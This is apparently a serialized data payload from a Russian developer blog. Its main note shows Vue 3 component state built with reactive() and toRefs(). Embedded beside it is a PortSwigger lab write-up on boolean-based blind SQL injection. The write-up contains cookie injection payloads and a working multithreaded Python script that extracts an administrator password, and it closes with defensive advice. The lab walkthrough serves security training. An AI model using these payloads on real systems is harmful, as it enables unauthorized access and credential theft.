[{"data":1,"prerenderedAt":1609},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive":3,"recent-ru":346,"posts-ru-frontend":1351},{"id":4,"title":5,"author":6,"body":7,"date":334,"description":335,"extension":336,"image":337,"meta":338,"navigation":86,"path":339,"seo":340,"stem":341,"tags":342,"__hash__":345},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API","Олег Анучин",{"type":8,"value":9,"toc":332},"minimark",[10,15,28,39,328],[11,12,14],"h1",{"id":13},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[16,17,18,19,23,24,27],"p",{},"В Options API мы можем использовать ",[20,21,22],"code",{},"data()"," для создания стейта компонента и обращаться к нему через ",[20,25,26],{},"this",".",[16,29,30,31,34,35,38],{},"С помощью ",[20,32,33],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[20,36,37],{},"ref()"," для нескольких свойств.",[40,41,46],"pre",{"className":42,"code":43,"language":44,"meta":45,"style":45},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue","",[20,47,48,64,81,88,100,110,129,141,150,156,161,182,197,202,207,215,227,233,239,245,251,261,266,276,291,305,319],{"__ignoreMap":45},[49,50,53,57,61],"span",{"class":51,"line":52},"line",1,[49,54,56],{"class":55},"sVt8B","\u003C",[49,58,60],{"class":59},"s9eBZ","script",[49,62,63],{"class":55},">\n",[49,65,67,71,74,77],{"class":51,"line":66},2,[49,68,70],{"class":69},"szBVR","import",[49,72,73],{"class":55}," { computed, reactive, toRefs } ",[49,75,76],{"class":69},"from",[49,78,80],{"class":79},"sZZnC"," 'vue'\n",[49,82,84],{"class":51,"line":83},3,[49,85,87],{"emptyLinePlaceholder":86},true,"\n",[49,89,91,94,97],{"class":51,"line":90},4,[49,92,93],{"class":69},"export",[49,95,96],{"class":69}," default",[49,98,99],{"class":55}," {\n",[49,101,103,107],{"class":51,"line":102},5,[49,104,106],{"class":105},"sScJk","  setup",[49,108,109],{"class":55},"() {\n",[49,111,113,116,120,123,126],{"class":51,"line":112},6,[49,114,115],{"class":69},"    const",[49,117,119],{"class":118},"sj4cs"," state",[49,121,122],{"class":69}," =",[49,124,125],{"class":105}," reactive",[49,127,128],{"class":55},"({\n",[49,130,132,135,138],{"class":51,"line":131},7,[49,133,134],{"class":55},"      price: ",[49,136,137],{"class":118},"2",[49,139,140],{"class":55},",\n",[49,142,144,147],{"class":51,"line":143},8,[49,145,146],{"class":55},"      quantity: ",[49,148,149],{"class":118},"5\n",[49,151,153],{"class":51,"line":152},9,[49,154,155],{"class":55},"    })\n",[49,157,159],{"class":51,"line":158},10,[49,160,87],{"emptyLinePlaceholder":86},[49,162,164,166,169,171,174,177,180],{"class":51,"line":163},11,[49,165,115],{"class":69},[49,167,168],{"class":118}," total",[49,170,122],{"class":69},[49,172,173],{"class":105}," computed",[49,175,176],{"class":55},"(() ",[49,178,179],{"class":69},"=>",[49,181,99],{"class":55},[49,183,185,188,191,194],{"class":51,"line":184},12,[49,186,187],{"class":69},"      return",[49,189,190],{"class":55}," state.price ",[49,192,193],{"class":69},"*",[49,195,196],{"class":55}," state.quantity\n",[49,198,200],{"class":51,"line":199},13,[49,201,155],{"class":55},[49,203,205],{"class":51,"line":204},14,[49,206,87],{"emptyLinePlaceholder":86},[49,208,210,213],{"class":51,"line":209},15,[49,211,212],{"class":69},"    return",[49,214,99],{"class":55},[49,216,218,221,224],{"class":51,"line":217},16,[49,219,220],{"class":69},"      ...",[49,222,223],{"class":105},"toRefs",[49,225,226],{"class":55},"(state),\n",[49,228,230],{"class":51,"line":229},17,[49,231,232],{"class":55},"      total\n",[49,234,236],{"class":51,"line":235},18,[49,237,238],{"class":55},"    }\n",[49,240,242],{"class":51,"line":241},19,[49,243,244],{"class":55},"  }\n",[49,246,248],{"class":51,"line":247},20,[49,249,250],{"class":55},"}\n",[49,252,254,257,259],{"class":51,"line":253},21,[49,255,256],{"class":55},"\u003C\u002F",[49,258,60],{"class":59},[49,260,63],{"class":55},[49,262,264],{"class":51,"line":263},22,[49,265,87],{"emptyLinePlaceholder":86},[49,267,269,271,274],{"class":51,"line":268},23,[49,270,56],{"class":55},[49,272,273],{"class":59},"template",[49,275,63],{"class":55},[49,277,279,282,284,287,289],{"class":51,"line":278},24,[49,280,281],{"class":55},"  \u003C",[49,283,16],{"class":59},[49,285,286],{"class":55},">Цена: {{ price }}\u003C\u002F",[49,288,16],{"class":59},[49,290,63],{"class":55},[49,292,294,296,298,301,303],{"class":51,"line":293},25,[49,295,281],{"class":55},[49,297,16],{"class":59},[49,299,300],{"class":55},">Количество: {{ quantity }}\u003C\u002F",[49,302,16],{"class":59},[49,304,63],{"class":55},[49,306,308,310,312,315,317],{"class":51,"line":307},26,[49,309,281],{"class":55},[49,311,16],{"class":59},[49,313,314],{"class":55},">Итого: {{ total }}\u003C\u002F",[49,316,16],{"class":59},[49,318,63],{"class":55},[49,320,322,324,326],{"class":51,"line":321},27,[49,323,256],{"class":55},[49,325,273],{"class":59},[49,327,63],{"class":55},[329,330,331],"style",{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":45,"searchDepth":66,"depth":66,"links":333},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API","md",null,{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":5,"description":335},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[44,343,344],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",[347,949,1175,1225],{"id":348,"title":349,"author":350,"body":351,"date":937,"description":938,"extension":336,"image":337,"meta":939,"navigation":86,"path":940,"seo":941,"stem":942,"tags":943,"__hash__":948},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":352,"toc":926},[353,357,362,369,388,392,418,422,429,432,440,447,450,481,484,488,493,500,509,519,523,530,545,548,552,559,878,884,895,899,902,907,923],[11,354,356],{"id":355},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[358,359,361],"h2",{"id":360},"уязвимость","Уязвимость",[16,363,364,368],{},[365,366,367],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[16,370,371,372,375,376,379,380,383,384,387],{},"В данном варианте (",[365,373,374],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[20,377,378],{},"TRUE"," или ",[20,381,382],{},"FALSE",". Конструируя условия вида ",[20,385,386],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[358,389,391],{"id":390},"лаборатория","Лаборатория",[16,393,394,397,398,405,408,411,412,414,417],{},[365,395,396],{},"Название:"," ",[399,400,404],"a",{"href":401,"rel":402},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[403],"nofollow","Blind SQL injection with conditional responses",[406,407],"br",{},[365,409,410],{},"Сложность:"," Practitioner",[406,413],{},[365,415,416],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[358,419,421],{"id":420},"разведка","Разведка",[16,423,424,425,428],{},"Приложение хранит cookie ",[20,426,427],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[16,430,431],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[40,433,438],{"className":434,"code":436,"language":437},[435],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[20,439,436],{"__ignoreMap":45},[16,441,442,443,446],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[20,444,445],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[16,448,449],{},"Проверяем булево поведение:",[40,451,455],{"className":452,"code":453,"language":454,"meta":45,"style":45},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[20,456,457,462,467,471,476],{"__ignoreMap":45},[49,458,459],{"class":51,"line":52},[49,460,461],{},"-- Условие TRUE → «Welcome back!» появляется\n",[49,463,464],{"class":51,"line":66},[49,465,466],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[49,468,469],{"class":51,"line":83},[49,470,87],{"emptyLinePlaceholder":86},[49,472,473],{"class":51,"line":90},[49,474,475],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[49,477,478],{"class":51,"line":102},[49,479,480],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[16,482,483],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[358,485,487],{"id":486},"эксплуатация","Эксплуатация",[489,490,492],"h3",{"id":491},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[16,494,495,496,499],{},"Используем функцию ",[20,497,498],{},"LENGTH()",":",[40,501,503],{"className":452,"code":502,"language":454,"meta":45,"style":45},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[20,504,505],{"__ignoreMap":45},[49,506,507],{"class":51,"line":52},[49,508,502],{},[16,510,511,512,515,516,27],{},"«Welcome back!» появляется при ",[20,513,514],{},"= 20"," — пароль состоит из ",[365,517,518],{},"20 символов",[489,520,522],{"id":521},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[16,524,525,526,529],{},"Функция ",[20,527,528],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[40,531,533],{"className":452,"code":532,"language":454,"meta":45,"style":45},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[20,534,535,540],{"__ignoreMap":45},[49,536,537],{"class":51,"line":52},[49,538,539],{},"-- Первый символ — 'w'?\n",[49,541,542],{"class":51,"line":66},[49,543,544],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[16,546,547],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[489,549,551],{"id":550},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[16,553,554,555,558],{},"Скрипт использует ",[20,556,557],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[40,560,564],{"className":561,"code":562,"language":563,"meta":45,"style":45},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[20,565,566,571,576,581,585,590,595,600,605,609,614,619,624,628,632,637,642,647,652,657,661,665,670,675,680,685,690,695,701,707,712,717,723,729,735,740,746,752,757,762,768,774,780,786,792,798,804,810,816,822,827,832,838,844,850,856,861,866,872],{"__ignoreMap":45},[49,567,568],{"class":51,"line":52},[49,569,570],{},"import requests\n",[49,572,573],{"class":51,"line":66},[49,574,575],{},"import string\n",[49,577,578],{"class":51,"line":83},[49,579,580],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[49,582,583],{"class":51,"line":90},[49,584,87],{"emptyLinePlaceholder":86},[49,586,587],{"class":51,"line":102},[49,588,589],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[49,591,592],{"class":51,"line":112},[49,593,594],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[49,596,597],{"class":51,"line":131},[49,598,599],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[49,601,602],{"class":51,"line":143},[49,603,604],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[49,606,607],{"class":51,"line":152},[49,608,87],{"emptyLinePlaceholder":86},[49,610,611],{"class":51,"line":158},[49,612,613],{},"CHARSET = string.ascii_lowercase + string.digits\n",[49,615,616],{"class":51,"line":163},[49,617,618],{},"MAX_LENGTH = 30\n",[49,620,621],{"class":51,"line":184},[49,622,623],{},"THREADS = 10\n",[49,625,626],{"class":51,"line":199},[49,627,87],{"emptyLinePlaceholder":86},[49,629,630],{"class":51,"line":204},[49,631,87],{"emptyLinePlaceholder":86},[49,633,634],{"class":51,"line":209},[49,635,636],{},"def check(sql_condition: str) -> bool:\n",[49,638,639],{"class":51,"line":217},[49,640,641],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[49,643,644],{"class":51,"line":229},[49,645,646],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[49,648,649],{"class":51,"line":235},[49,650,651],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[49,653,654],{"class":51,"line":241},[49,655,656],{},"    return \"Welcome back\" in r.text\n",[49,658,659],{"class":51,"line":247},[49,660,87],{"emptyLinePlaceholder":86},[49,662,663],{"class":51,"line":253},[49,664,87],{"emptyLinePlaceholder":86},[49,666,667],{"class":51,"line":263},[49,668,669],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[49,671,672],{"class":51,"line":268},[49,673,674],{},"    print(\"[*] Определяем длину пароля...\")\n",[49,676,677],{"class":51,"line":278},[49,678,679],{},"    for n in range(1, max_len + 1):\n",[49,681,682],{"class":51,"line":293},[49,683,684],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[49,686,687],{"class":51,"line":307},[49,688,689],{},"        if check(condition):\n",[49,691,692],{"class":51,"line":321},[49,693,694],{},"            print(f\"[+] Длина пароля: {n}\")\n",[49,696,698],{"class":51,"line":697},28,[49,699,700],{},"            return n\n",[49,702,704],{"class":51,"line":703},29,[49,705,706],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[49,708,710],{"class":51,"line":709},30,[49,711,87],{"emptyLinePlaceholder":86},[49,713,715],{"class":51,"line":714},31,[49,716,87],{"emptyLinePlaceholder":86},[49,718,720],{"class":51,"line":719},32,[49,721,722],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[49,724,726],{"class":51,"line":725},33,[49,727,728],{},"    for c in CHARSET:\n",[49,730,732],{"class":51,"line":731},34,[49,733,734],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[49,736,738],{"class":51,"line":737},35,[49,739,689],{},[49,741,743],{"class":51,"line":742},36,[49,744,745],{},"            return pos, c\n",[49,747,749],{"class":51,"line":748},37,[49,750,751],{},"    return pos, \"?\"\n",[49,753,755],{"class":51,"line":754},38,[49,756,87],{"emptyLinePlaceholder":86},[49,758,760],{"class":51,"line":759},39,[49,761,87],{"emptyLinePlaceholder":86},[49,763,765],{"class":51,"line":764},40,[49,766,767],{},"def get_password(length: int) -> str:\n",[49,769,771],{"class":51,"line":770},41,[49,772,773],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[49,775,777],{"class":51,"line":776},42,[49,778,779],{},"    password = [\"?\"] * length\n",[49,781,783],{"class":51,"line":782},43,[49,784,785],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[49,787,789],{"class":51,"line":788},44,[49,790,791],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[49,793,795],{"class":51,"line":794},45,[49,796,797],{},"        for future in as_completed(futures):\n",[49,799,801],{"class":51,"line":800},46,[49,802,803],{},"            pos, char = future.result()\n",[49,805,807],{"class":51,"line":806},47,[49,808,809],{},"            password[pos - 1] = char\n",[49,811,813],{"class":51,"line":812},48,[49,814,815],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[49,817,819],{"class":51,"line":818},49,[49,820,821],{},"    return \"\".join(password)\n",[49,823,825],{"class":51,"line":824},50,[49,826,87],{"emptyLinePlaceholder":86},[49,828,830],{"class":51,"line":829},51,[49,831,87],{"emptyLinePlaceholder":86},[49,833,835],{"class":51,"line":834},52,[49,836,837],{},"def main():\n",[49,839,841],{"class":51,"line":840},53,[49,842,843],{},"    length = get_password_length()\n",[49,845,847],{"class":51,"line":846},54,[49,848,849],{},"    password = get_password(length)\n",[49,851,853],{"class":51,"line":852},55,[49,854,855],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[49,857,859],{"class":51,"line":858},56,[49,860,87],{"emptyLinePlaceholder":86},[49,862,864],{"class":51,"line":863},57,[49,865,87],{"emptyLinePlaceholder":86},[49,867,869],{"class":51,"line":868},58,[49,870,871],{},"if __name__ == \"__main__\":\n",[49,873,875],{"class":51,"line":874},59,[49,876,877],{},"    main()\n",[16,879,880,881],{},"Результат: ",[20,882,883],{},"wfa3n32o7a6mb4xon7d6",[16,885,886,887,890,891,894],{},"Заходим в ",[20,888,889],{},"\u002Fmy-account"," как ",[20,892,893],{},"administrator"," с этим паролем — лаба решена.",[358,896,898],{"id":897},"вывод","Вывод",[16,900,901],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[16,903,904],{},[365,905,906],{},"Как защититься:",[908,909,910,914,917],"ul",{},[911,912,913],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[911,915,916],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[911,918,919,920],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[20,921,922],{},"users",[329,924,925],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":45,"searchDepth":66,"depth":66,"links":927},[928,929,930,931,936],{"id":360,"depth":66,"text":361},{"id":390,"depth":66,"text":391},{"id":420,"depth":66,"text":421},{"id":486,"depth":66,"text":487,"children":932},[933,934,935],{"id":491,"depth":83,"text":492},{"id":521,"depth":83,"text":522},{"id":550,"depth":83,"text":551},{"id":897,"depth":66,"text":898},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":349,"description":938},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[944,945,946,947],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":4,"title":5,"author":6,"body":950,"date":334,"description":335,"extension":336,"image":337,"meta":1172,"navigation":86,"path":339,"seo":1173,"stem":341,"tags":1174,"__hash__":345},{"type":8,"value":951,"toc":1170},[952,954,960,966,1168],[11,953,14],{"id":13},[16,955,18,956,23,958,27],{},[20,957,22],{},[20,959,26],{},[16,961,30,962,34,964,38],{},[20,963,33],{},[20,965,37],{},[40,967,968],{"className":42,"code":43,"language":44,"meta":45,"style":45},[20,969,970,978,988,992,1000,1006,1018,1026,1032,1036,1040,1056,1066,1070,1074,1080,1088,1092,1096,1100,1104,1112,1116,1124,1136,1148,1160],{"__ignoreMap":45},[49,971,972,974,976],{"class":51,"line":52},[49,973,56],{"class":55},[49,975,60],{"class":59},[49,977,63],{"class":55},[49,979,980,982,984,986],{"class":51,"line":66},[49,981,70],{"class":69},[49,983,73],{"class":55},[49,985,76],{"class":69},[49,987,80],{"class":79},[49,989,990],{"class":51,"line":83},[49,991,87],{"emptyLinePlaceholder":86},[49,993,994,996,998],{"class":51,"line":90},[49,995,93],{"class":69},[49,997,96],{"class":69},[49,999,99],{"class":55},[49,1001,1002,1004],{"class":51,"line":102},[49,1003,106],{"class":105},[49,1005,109],{"class":55},[49,1007,1008,1010,1012,1014,1016],{"class":51,"line":112},[49,1009,115],{"class":69},[49,1011,119],{"class":118},[49,1013,122],{"class":69},[49,1015,125],{"class":105},[49,1017,128],{"class":55},[49,1019,1020,1022,1024],{"class":51,"line":131},[49,1021,134],{"class":55},[49,1023,137],{"class":118},[49,1025,140],{"class":55},[49,1027,1028,1030],{"class":51,"line":143},[49,1029,146],{"class":55},[49,1031,149],{"class":118},[49,1033,1034],{"class":51,"line":152},[49,1035,155],{"class":55},[49,1037,1038],{"class":51,"line":158},[49,1039,87],{"emptyLinePlaceholder":86},[49,1041,1042,1044,1046,1048,1050,1052,1054],{"class":51,"line":163},[49,1043,115],{"class":69},[49,1045,168],{"class":118},[49,1047,122],{"class":69},[49,1049,173],{"class":105},[49,1051,176],{"class":55},[49,1053,179],{"class":69},[49,1055,99],{"class":55},[49,1057,1058,1060,1062,1064],{"class":51,"line":184},[49,1059,187],{"class":69},[49,1061,190],{"class":55},[49,1063,193],{"class":69},[49,1065,196],{"class":55},[49,1067,1068],{"class":51,"line":199},[49,1069,155],{"class":55},[49,1071,1072],{"class":51,"line":204},[49,1073,87],{"emptyLinePlaceholder":86},[49,1075,1076,1078],{"class":51,"line":209},[49,1077,212],{"class":69},[49,1079,99],{"class":55},[49,1081,1082,1084,1086],{"class":51,"line":217},[49,1083,220],{"class":69},[49,1085,223],{"class":105},[49,1087,226],{"class":55},[49,1089,1090],{"class":51,"line":229},[49,1091,232],{"class":55},[49,1093,1094],{"class":51,"line":235},[49,1095,238],{"class":55},[49,1097,1098],{"class":51,"line":241},[49,1099,244],{"class":55},[49,1101,1102],{"class":51,"line":247},[49,1103,250],{"class":55},[49,1105,1106,1108,1110],{"class":51,"line":253},[49,1107,256],{"class":55},[49,1109,60],{"class":59},[49,1111,63],{"class":55},[49,1113,1114],{"class":51,"line":263},[49,1115,87],{"emptyLinePlaceholder":86},[49,1117,1118,1120,1122],{"class":51,"line":268},[49,1119,56],{"class":55},[49,1121,273],{"class":59},[49,1123,63],{"class":55},[49,1125,1126,1128,1130,1132,1134],{"class":51,"line":278},[49,1127,281],{"class":55},[49,1129,16],{"class":59},[49,1131,286],{"class":55},[49,1133,16],{"class":59},[49,1135,63],{"class":55},[49,1137,1138,1140,1142,1144,1146],{"class":51,"line":293},[49,1139,281],{"class":55},[49,1141,16],{"class":59},[49,1143,300],{"class":55},[49,1145,16],{"class":59},[49,1147,63],{"class":55},[49,1149,1150,1152,1154,1156,1158],{"class":51,"line":307},[49,1151,281],{"class":55},[49,1153,16],{"class":59},[49,1155,314],{"class":55},[49,1157,16],{"class":59},[49,1159,63],{"class":55},[49,1161,1162,1164,1166],{"class":51,"line":321},[49,1163,256],{"class":55},[49,1165,273],{"class":59},[49,1167,63],{"class":55},[329,1169,331],{},{"title":45,"searchDepth":66,"depth":66,"links":1171},[],{},{"title":5,"description":335},[44,343,344],{"id":1176,"title":1177,"author":6,"body":1178,"date":1215,"description":1216,"extension":336,"image":337,"meta":1217,"navigation":86,"path":1218,"seo":1219,"stem":1220,"tags":1221,"__hash__":1224},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":1179,"toc":1213},[1180,1183,1201,1204,1210],[11,1181,1177],{"id":1182},"как-обновить-nuxt-3-проект",[40,1184,1188],{"className":1185,"code":1186,"language":1187,"meta":45,"style":45},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[20,1189,1190],{"__ignoreMap":45},[49,1191,1192,1195,1198],{"class":51,"line":52},[49,1193,1194],{"class":105},"yarn",[49,1196,1197],{"class":79}," nuxi",[49,1199,1200],{"class":79}," upgrade\n",[16,1202,1203],{},"Пример вывода:",[40,1205,1208],{"className":1206,"code":1207,"language":437},[435],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[20,1209,1207],{"__ignoreMap":45},[329,1211,1212],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: 